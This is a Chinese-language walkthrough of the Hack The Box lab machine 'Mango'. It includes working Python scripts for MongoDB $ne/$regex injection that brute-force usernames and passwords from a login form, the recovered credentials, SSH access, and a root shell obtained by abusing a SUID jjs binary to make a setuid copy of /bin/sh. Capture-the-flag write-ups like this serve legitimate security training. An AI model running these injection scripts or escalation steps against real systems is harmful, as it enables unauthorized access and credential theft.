Hack-The-Box-walkthrough[mango]

介绍

操作系统:Linux
难度:中等
点数:30
发行:2019年10月26日
IP:10.10.10.162

user一血用时:04小时28分58秒。
root一血用时:05小时14分45秒。

看来是真特么的耗时间

  • my htb rank

信息收集

上nmap

1
2
3
4
5
6
C:\Users\HASEE>nmap -p- --min-rate=1000 -T4 -v -sV 10.10.10.162
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Users\HASEE>nmap -p 22,80,443 -A -v 10.10.10.162
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after: 2020-09-26T14:21:19
| MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1

Nmap扫描显示运行其通常服务的端口22、80和443。此外,Nmap还发现了一个名为stage -order.mango的vhost。在SSL证书中提到的htb。添加mango.htb和staging-order.mango.htb到/etc/hosts,然后继续枚举。

浏览到端口80将返回一个403禁止错误,然而,HTTPS网站显示了一个搜索引擎。

页面只是刷新,搜索时不返回任何结果。第二个vhost在HTTPS上托管返回相同的页面。然而,HTTP网站却只是显示了一个登录页面。

尝试使用通用默认凭据登录失败。在Burp中拦截请求并检查登录请求。

注入引号没有返回错误或改变响应。由于网站正在运行PHP,可以尝试使用类型杂耍绕过身份验证。
这可以通过向请求参数添加[]来实现,这使得PHP将它们作为数组使用。如果存在任何弱比较,则将绕过身份验证。

会导致失败的尝试。尝试一下NoSQL注入攻击,比如MongoDB身份验证绕过。MongoDB使用$ne (not equal)操作符来比较值。这个操作符可以通过数组语法传递给PHP,它最终会被注入到MongoDB查询中。

这是一个例子MongoDB查询找到一个用户

1
db.users.find({ username: "admin", password: "admin" });

上面的查询将导致由于密码错误而导致登录失败。发送参数password[$ne]=admin的请求将导致查询:

1
db.users.find({ username: "admin", password: { $ne : "admin" } });

这将返回true,因为admin的密码不等于admin,会成功地绕过登录。

$ne的注入被发现是成功的,并且页面将重定向到home.php作为admin。使用登录请求重复相同的过程将返回以下页面。

MongoDB注入

因为主页没有返回任何有用的信息。可以尝试使用$regex操作符从Mongo数据库中提取数据。$regex操作符可用于使用正则表达式查找数据。

例如,下面的查询将搜索匹配

regex a.*

的用户名,匹配任何包含a的用户名。

1
db.users.find({ username: { $regex : "a.*", password: { $ne : "admin" } });

用b.*替换a.*返回200响应,这意味着没有包含b的用户名。编写一个使用此逻辑发现用户名的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
def sendPayload():
for char in lowercase:
regex = '{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
print "Found valid letter: {}".format(char)
def getUser():
sendPayload()
if __name__ == '__main__':
getUser()

代码已经缩进好了,直接复制粘贴就可以使用

运行代码,列出DB中所有用户名中出现的所有字符。

1
2
3
4
5
6
7
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o

脚本发现了7个有效字符,即a、d、g、i、m、n、o。现在已经减少了字符集,可以尝试显示实际的用户名。regex中的插入符号^用于标记单词的开头。例如,模式^a.*仅当用户名以a开头时才返回true。
类似地,模式^ad.*如果以ad开头的用户名存在,则返回true,以此类推。使用这个逻辑更新脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
regex = '^{}.*'.format(word)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return word
else:
return None
def getUser():
for char in valid:
if sendPayload(char) != None:
print "Found username starting with {}".format(char)
if __name__ == '__main__':
getUser()

脚本循环遍历字符集,查找以这些字母中的任何一个开头的用户名。
运行脚本后出现下面的结果

1
2
Found username starting with a
Found username starting with m

发现DB分别包含以a和m开头的用户名。更新脚本以显示真正的用户名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
for char in valid:
regex = '^{}.*'.format(word + char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return char
return None
def getUser():
for ch in ['a', 'm']:
username = ch
while True:
char = sendPayload(username)
if char != None:
username += char
else:
print "Username found: {}".format(username)
break

if __name__ == '__main__':
getUser()

脚本循环遍历有效字符并查找以a和m开头的用户名。

包含302状态码(URL重定向)的HTTP响应包含一个有效字符,该脚本输出结果如下。

1
2
Username found: admin
Username found: mango

标识了两个有效的用户名,admin和mango。可以尝试使用相同的逻辑来识别他们的密码。

修改脚本如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
def sendPayload(user):
valid = []
for char in printable:
regex = '{}.*'.format(char)
data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
valid.append(char)
return valid
def getUser():
for user in ['admin', 'mango']:
valid = sendPayload(user)
print "Valid characters for {}: {}".format(user, valid)
if __name__ == '__main__':
getUser()

该脚本遍历所有可打印的ASCII字符。分别为两个用户返回有效的字符集,从而减少了下一阶段的请求数量。

运行结果如下

1
2
Valid characters for admin: ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '$', '.', '>', '\\', '^', '|']
Valid characters for mango: ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '$', '.', '\\', ']', '^', '{', '|', '~']

以上面使用python脚本fuzz出的信息立足,爆破两个用户的密码

现在已经有了两个密码的字符集,更新脚本来查找密码。字符

1
^,$,|,\\和.

应该用反斜杠进行转义,因为它们在正则表达式中具有特殊意义,并且可能导致错误的否定。

依照之前爆破用户名脚本的方法修改脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\\$', '\\.', '>', '\\\\', '\\^', '\\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\\$', '\\.', '\\\\', ']', '\\^', '{', '\\|', '~']
def sendPayload(user, word):
valid = admin_pass if user == 'admin' else mango_pass
for char in valid:
regex = '^{}.*'.format(word + char)
data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return char
return None
def getUser():
for user in ['admin', 'mango']:
password = ''
while True:
char = sendPayload(user, password)
if char != None:
password += char
else:
print "Password for {} found: {}".format(user, password)
break
if __name__ == '__main__':
getUser()

该脚本对两个用户都使用有效的字符集,并逐个字符地显示他们的密码。

1
2
Password for admin found: t9KcS3>!0B#2
Password for mango found: h3mXK8RhU~f{]f5H

两个用户的密码都被成功地获取了。用户mango的凭证可以用来通过SSH登录。

getshell & 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Connecting to 10.10.10.162:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Apr 21 05:18:56 UTC 2020

System load: 0.08 Processes: 99
Usage of /: 25.8% of 19.56GB Users logged in: 0
Memory usage: 14% IP address for ens33: 10.10.10.162
Swap usage: 0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.


Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
/usr/bin/xauth: file /home/mango/.Xauthority does not exist
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
mango@mango:~$ whoami
mango
mango@mango:~$ sudo -l
[sudo] password for mango:
Sorry, user mango may not run sudo on mango.

找到user.txt但是用户权限不足

1
2
3
4
5
mango@mango:/home$ cd admin
mango@mango:/home/admin$ ls
user.txt
mango@mango:/home/admin$ cat user.txt
cat: user.txt: Permission denied

切换用户,获取user

1
2
3
4
5
6
7
8
9
10
mango@mango:/home/admin$ su admin
Password:
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ whoami
admin
$ ls
user.txt
$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92

下面就是提权步骤了

搜索SUID文件会发现两个不常见的二进制文件,run-mailcap和jjs。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

参考GTFOBins

  • run-mailcap
  • jjs

使用Java的Runtime.Exec()函数生成一个shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor()
0
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor()
0
jjs>
$ cd /tmp
$ ls
hsperfdata_root systemd-private-daa6581d1d8b4f4ca498d538b165beb7-apache2.service-TSRSE0
mongodb-27017.sock systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-resolved.service-VipHFk
sh systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-timesyncd.service-1Ap17W
$ ./sh -p
# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
8a8ef79a7a2fbb01ea81688424e9ab15

成功的获取了root权限并取得了flag

知识点总结:

  • 向php请求参数添加[],使用弱比较绕过身份验证
  • NoSQL注入攻击,$ne注入
  • MongoDB注入
  • 正则匹配fuzz查询用户名以及密码
  • 编写python fuzz脚本根据302,200返回页面判断参数是否存在
  • GTFOBins jjs 使用Java的Runtime.Exec()函数生成一个shell
  • chmod u+s /tmp/sh更改shell权限,并使用-p参数提升为root权限

Game over

The end,to be continue…